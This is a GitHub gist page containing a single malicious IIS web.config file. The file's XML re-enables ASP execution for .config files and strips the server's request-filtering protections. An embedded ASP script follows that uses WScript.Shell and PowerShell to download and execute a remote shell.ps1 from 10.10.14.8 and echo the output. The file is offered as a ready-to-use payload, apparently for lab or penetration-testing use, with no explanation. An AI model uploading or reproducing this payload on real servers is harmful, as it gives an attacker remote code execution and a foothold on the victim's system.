Skip to content

Instantly share code, notes, and snippets.

@Splint3r7
Created July 8, 2019 09:36
Show Gist options
  • Save Splint3r7/c600fae79be75ac4bc4cbfb1cde0837d to your computer and use it in GitHub Desktop.
Save Splint3r7/c600fae79be75ac4bc4cbfb1cde0837d to your computer and use it in GitHub Desktop.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.8:1667/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment